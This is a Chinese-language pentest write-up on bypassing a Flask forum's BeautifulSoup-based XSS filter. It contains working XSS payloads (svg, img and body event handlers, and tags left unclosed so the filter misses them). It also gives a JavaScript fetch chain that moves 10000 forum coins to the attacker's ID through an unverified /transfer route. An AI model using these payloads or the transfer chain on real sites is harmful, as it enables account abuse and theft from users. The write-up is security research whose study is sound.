Background
在一次测试中,在git中找到部分的源码,发现可能存在xss问题,但是经过了一点处理,于是经过探寻思考,找到了bypass的方法,写下本篇文章。
Part.1 从git到混淆
server头看见这个配置 基本是flask了,而且也能确定是python,把前端部分源码放在github搜一下找到了部分代码。
看到如下的混淆:
上网找了找相关混淆资料。
发现有在线解混淆的网站 最后我定位了一处核心代码在这里。
def check_xss(smeo_text): soup = BeautifulSoup(smeo_text, "html.parser") tags_found = soup.find_all() return bool(tags_found)
我注意到这里他的xss处理其实很草率,用BeautifulSoup来过一遍论坛的文本内容,只进行了tag的匹配,并没有做诸如实体化编码类型的过滤,所以我觉得是有问题的。
Part.2 探寻BeautifulSoup的html.parser
首先我手搓了一个demo:
from bs4 import BeautifulSoup # 示例的 HTML 文档 html_doc = """ <html> <head><title>Example</title></head> <body> <p class="title"><b>The Dormouse's story</b></p> <p class="story">Once upon a time there were three little sisters; and their names were <a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>, <a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and <a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>; and they lived at the bottom of a well.</p> <p class="story">...</p> """ # 使用 BeautifulSoup 解析 HTML soup = BeautifulSoup(html_doc, 'html.parser') # 找到所有的标签并打印它们的名称 tags = soup.find_all() for tag in tags: print(tag.name)
在这里我简单思考了下他的匹配标签的标准 一个是把关键字 常见的进行提取,第二种就是基于<>一个完整的标签为整体 提取里面的内容。
翻了下beautifulsoup的html.parser代码:
interesting_normal = re.compile('[&<]') incomplete = re.compile('&[a-zA-Z#]') entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]') charref = re.compile('&#(?:[0-9]+|[xX][0-9a-fA-F]+)[^0-9a-fA-F]') starttagopen = re.compile('<[a-zA-Z]') piclose = re.compile('>') commentclose = re.compile(r'--\s*>') tagfind_tolerant = re.compile(r'([a-zA-Z][^\t\n\r\f />\x00]*)(?:\s|/(?!>))*') attrfind_tolerant = re.compile( r'((?<=[\'"\s/])[^\s/>][^\s/=>]*)(\s*=+\s*' r'(\'[^\']*\'|"[^"]*"|(?![\'"])[^>\s]*))?(?:\s|/(?!>))*') locatestarttagend_tolerant = re.compile(r""" <[a-zA-Z][^\t\n\r\f />\x00]* # tag name (?:[\s/]* # optional whitespace before attribute name (?:(?<=['"\s/])[^\s/>][^\s/=>]* # attribute name (?:\s*=+\s* # value indicator (?:'[^']*' # LITA-enclosed value |"[^"]*" # LIT-enclosed value |(?!['"])[^>\s]* # bare value ) \s* # possibly followed by a space )?(?:\s|/(?!>))* )* )? \s* # trailing whitespace """, re.VERBOSE) endendtag = re.compile('>') # the HTML 5 spec, section 8.1.2.2, doesn't allow spaces between # </ and the tag name, so maybe this should be fixed endtagfind = re.compile(r'</\s*([a-zA-Z][-.a-zA-Z0-9:_]*)\s*>')
可以看到他的匹配方式是我们想到的第二种 也就是我们不希望有>出现,而且一些常见的<script>这种需要成对出现的标签已经被否定了,我们需要探寻单标签。
Part.3 xss利用
到这里其实能找到很多不需要成对的poc。
<body/onload=alert(1)> <svg/onload=alert(1)> <iframe/onload=alert(1)> <img src=1 onerror=alert(1)>
而且因为html其实是比较松散的,如果不带> 其实也是可以的 比如我们创建如下的代码。
其实是会被弹窗的,在浏览器里你提取<img标签的内容其实是:
<img src="1" onerror="alert(1)" <="" body="">
这个原因是因为 </body>的>关闭了标签 实际上也就不存在 </body> 标签 而是你在 svg 标签中有一个 </body 属性 而且浏览器机制也会帮你补一个新的</body>标签 所以如果你没有这些完整的html机构 单纯的<img src=1 onerror=alert(1)是不能用的。
去真实环境尝试了下 发现果真如思考的一样 但是没弹窗 因为后面的</p语法错误了 我们注释掉即可。
发现是可以直接弹窗的。
Part4. 扩大危害
前面埋了个伏笔 是一个flask程序,他配置的很好所以我们偷cookies可能作用不是特别大了,于是开始思考有没有什么其他的思路。
代码里面还暴露了一个路由转指定论坛的币 经过测试我发现他的转钱如果从自己的个人主页跳转到/transfer路由就不要求验证。
那我就可以构造js使用then 构造一个chain来转给我本身。
fetch('/page', { method: 'GET' }) .then(function() { return fetch('/transfer', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'money=10000&transfer_id=21e3e7f6210' }); }) .then(function() { window.location.href = '/forum'; });